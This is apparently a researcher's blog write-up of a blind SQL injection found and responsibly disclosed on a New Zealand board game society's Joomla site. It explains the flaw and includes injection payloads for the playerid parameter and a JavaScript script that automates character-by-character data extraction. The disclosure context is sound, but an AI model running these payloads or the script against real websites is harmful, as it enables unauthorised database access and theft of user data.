Introduction

The website we’re looking at today constitutes the internet prescence for an incorporated board game society in New Zealand (and no, it’s not chess). This website is intended as a hub for information about this particular board game for the country. On the backend of the website they appear to be using Joomla which is a CMS that one doesn’t often see in 2024. I usually don’t bother poking around on CMS-based websites since, as long as they’re updated, they’re fairly bulletproof (this isn’t entirely true, but is more-or-less accurate in my experience).

However, there is a pretty bad SQL injection vulnerability hidden in this website.

What is SQL Injection?

SQL injection is the process whereby a user can trick the web application into executing arbitrary SQL on the database server. Usually the web application will prevent this from happening by validating the user inputs and parameterising the SQL queries. If the queries are parameterised then SQL injection is usually not possible. Additionally, if you’re using an ORM you’ll get this behaviour for free. The parameterisation process will escape the values and ensure that no nastiness can take place.

A Contrived Example

Imagine we have a shopping website, written in Python, that has allows a user to browse through the products. When a user clicks on a product to view it, a function called get_product is run on the backend to retrieve the information to display on the page.

Note that I’m not using Python here for any particular reason; any web application that doesn’t sanitise its inputs or use SQL parameterisation is at risk.

This is what this function might look like on a system that is using SQL parameterisation:

1
2

def get_product(id: str):
    return db.query("select * from products where id = ?", id)

The db.query function (or, more likely, the SQL driver) will take care of parameterising the query and escaping our value and everything will work as the developer intended.

However, some web applications won’t (or can’t) parameterise the SQL query and will instead use string concatenation to build up the query. And here’s an example of what that could look in our made up web application:

1
2

def get_product(id: str):
    return db.query(f"select * from products where id = '{id}'")

So what difference does this make? Well, consider what happens if id is the string television. In this case there is no difference; our two SQL queries will look like this:

1
2
3
4
5

-- with parameterisation:
select * from products where id = 'television'

-- with concatenation:
select * from products where id = 'television'

But, consider what happens if the user supplies the id of television' or id = 'laptop:

1
2
3
4
5

-- with parameterisation (note that our id has been escaped):
select * from products where id = 'television'' or id = ''laptop'

-- with concatenation (note that id value is running rampant):
select * from products where id = 'television' or id = 'laptop'

Jeeze! That’s not good!! If the user directly supplies this id value then we’re toast! Not only does this give the user the power to run their own queries but, with a bit of creativity, it can also allow the user to run their own INSERT, UPDATE, or even DELETE statements!

The Player Ratings Page

Back to the vulnerability on our board game website! The website has a page that lists the ratings of ranked players within New Zealand.

Notably, clicking on a user’s name gives us more detailed information about the user. The link to the detailed user information looks like /index.php/players/ratings?view=article&id=286&playerid=216. Clicking on a different user just changes the playerid parameter to something else. This playerid query parameter will be the focus of the rest of this article.

Detecting a SQL Injection Vulnerability

Similar to the shopping website example, let’s see what happens when we change the playerid to 216':

As you can see, we get an error page. For a hacker, this spells success! For a website administrator, this spells pwned! A single quote is often a good test to see if a query parameter is a candidate for SQL injection since it will often work for both strings as well as numbers.

It also tells us that the database server is MariaDB/MySQL. This information will be useful, as we will see later.

As I found out after reporting the problem, the ratings system was a custom module developed for the Joomla CMS. A simple oversight in parameter validation is the reason for this vulnerability.

Getting the Server Version

Most SQL servers have a way to get the version of the server from the database using SQL. For example, Microsoft SQL Server has @@version, PostgreSQL has version(), and MariaDB/MySQL supports both! We know that this server is MariaDB since that’s what was returned in the error message.

Let’s set this as our goal and see if we can pull out that version value from the server using SQL injection.

Ordering the Server Around

A common tactic to determine the number of rows that are being selected in a SELECT query is to supply an ORDER BY x -- at the end of the query where x is a number, starting at 1, corresponding to the selected column. Typically, a hacker would start with ORDER BY 1 --, and then ORDER BY 2 --, etc, until an error is returned. If the last query to run successfully was ORDER BY 5 -- then that means that there must be 5 columns in the SELECT query. The hacker can then do a UNION SELECT to pull out arbitrary data from the database.

Let’s see if we can do this by setting the player ID to 216 order by 1 --:

As you can see, this error response has a lot more information about the query. Judging by the use of aliases and parenthesis, I can make the assumption that the server is performing at least one join, using a CTE, or running a subquery. This makes things difficult for us, since we are going to have a much harder time getting control of a complicated query.

We’re going to have to try a different tactic.

Blind SQL Injection

We’re going to see if we can get the page do one of two things: either return the normal page with the player details, or return an error. If we can get this working, then we can craft a SQL query that will conditionally return the normal page or the error page. We’ll see this in action later.

For now, let’s see if we can get the user’s page by adding some seemingly pointless SQL after the player’s ID: 216 and 1 = 1. In SQL, 1 = 1 is equivalent to 1 which is SQL’s way of saying true.

This page looks exactly the same as before, that’s encouraging! We can imagine that the SQL being executed on the server looks something like this:

1

select * from players where id = 216 and 1 = 1

Conversely, let’s see if we can do the opposite and ensure that no player is returned, once again, by adding some seemingly pointless SQL: 216 and 1 = 0. As you may expect, 1 = 0 evaluates to 0 which is a SQL false.

In this case we get a different error message because zero rows are returned when the web application expected exactly one row.

You may not realise it, but we now have all the tools we need to be able to extract every single row of data from every single table in the database! We have found a blind SQL injection vulnerability.

We call this a blind SQL injection vulnerability because either something happens or it doesn’t. We are blind to the actual data returned from the server but we can still use this information to pull data out of the database.

For example, perhaps we could return the normal page if some condition is true and the error page if the condition is false. We know that our goal is to read out the value of Version() and so perhaps a good place to start is to get the length of that string.

How Long is a String?

Normally, we would use the LENGTH function to give us the length of the string like this:

1

select length(version())

However, that won’t work under the constraints of this SQL injection vulnerability. We need to combine this approach with our special condition of returning either an error page or a normal page. Which means, we will have to make many requests until the page doesn’t return an error.

• playerid=216 and length(version()) = 1: error page ❌
• playerid=216 and length(version()) = 2: error page ❌
• playerid=216 and length(version()) = 3: error page ❌
• …
• playerid=216 and length(version()) = 22: error page ❌
• playerid=216 and length(version()) = 23: normal page ✅

And now we know that our version() string has 23 characters in it! This is the first piece of information that we need to pull out that string.

One Character at a Time

We can extend this technique to extract the characters from our version string one at a time. The process will involve looking at each of the 23 characters individially and comparing them to all the characters in the alphabet (and some numbers and symbols).

The template for the query parameter that we’ll use is playerid=216 and substring(version(), IDX, 1) = CHAR where IDX is the index that we’re currently looking at (starting at 1) and CHAR is the current character we’re comparing it to from our alphabet. We must do this for all characters in our alphabet until we find a match and for all indices between 1 and our string length (23 in this case).

• playerid=216 and substring(version(), 1, 1) = 'a': error page ❌
• playerid=216 and substring(version(), 1, 1) = 'b': error page ❌
• …
• playerid=216 and substring(version(), 1, 1) = '0': error page ❌
• playerid=216 and substring(version(), 1, 1) = '1': normal page ✅
• playerid=216 and substring(version(), 2, 1) = 'a': error page ❌
• playerid=216 and substring(version(), 2, 1) = 'b': error page ❌
• …
• playerid=216 and substring(version(), 2, 1) = '0': normal page ✅
• …

This will take a while and I’m not going to do this manually; instead I’ll write a script that will do it for me.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

async function isNormalPage(res) {
    const content = await res.text();
    return content !== "An error occured while retrieving player";
}

async function sendRequest(playerId) {
    const params = new URLSearchParams("view=article&id=286");
    params.append("playerid", playerId);
    return fetch("https://website-name/index.php/players/ratings?" + params.toString());
}

async function query(sql, length) {
    let result = "";
    const validCharacters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_.";

    for (let idx = 0; idx < length; idx++) {
        let foundChar = false;
        for (let char of validCharacters) {
            const res = await sendRequest(`216 and substring(${sql}, ${idx + 1}, 1) = '${char}'`);
            if (await isNormalPage(res)) {
                result += char;
                foundChar = true;
                break;
            }
        }
        if (!foundChar) {
            result += "?"; // couldn't find the character
        }
    }

    return result;
}

console.log("version():", await query("version()", 23));

That’s only about 30 lines of JavaScript and we can use it to run arbitrary SELECT queries on the database, pretty cool, huh?

Anyway, after about 5 minutes and 700 network requests, we get back the 23-character string 10.11.7-mariadb-cll-lve.

Success! 🎉

Impact

With just a little bit of ingenuity (and the 1337 hacker tool, Firefox) we were able to pull data out of the database by simply observing if an error page is returned or not. We have also created a simple helper script to do a lot of the heavy lifting for us that can be extended to be multipurpose.

More generally, this process can be used to extract any information out of any of the database tables. Furthermore, since we know that this website is running Joomla, we also know exactly what tables and columns are available. An attacker might use this to extract the data from the users table and attempt to crack the passwords offline.

I don’t think it would be possible to use this particular vulnerability to run INSERT, UPDATE, or DELETE statements on the server, but you never know.

Whenever you see a headline along the lines of “Database Breach: Customer Data Stolen”, SQL injection is usually the method used by hackers to steal the data. You can see just how easy it would be for an attacker to do some real damage to the reputation of a website using these simple techniques.

In some cases, SQL injection can be used as an entry point for an attacker to gain a permanent foothold in the system. For example, if the server is configured in such a way, it might be possible for an attacker to upload script files to the website that can then be executed by the web server. This might allow the threat actor to take complete control of the machine.

Disclosure

The timeline is as follows:

• 22nd of April: I reported the issue to the website administrator.
• 29th of April: I heard back from the web developer who implemented a fix.
• 30th of April: I confirmed that the issue had been fixed.

The developer’s solution to this problem wasn’t to parameterise the SQL query, but to instead ensure that the value in the playerid query parameter was an integer. This solution absolutely fixes the problem and prevents malicious users from directly accessing the database. I was impressed by how quick this website fixed the issue once they were aware of it.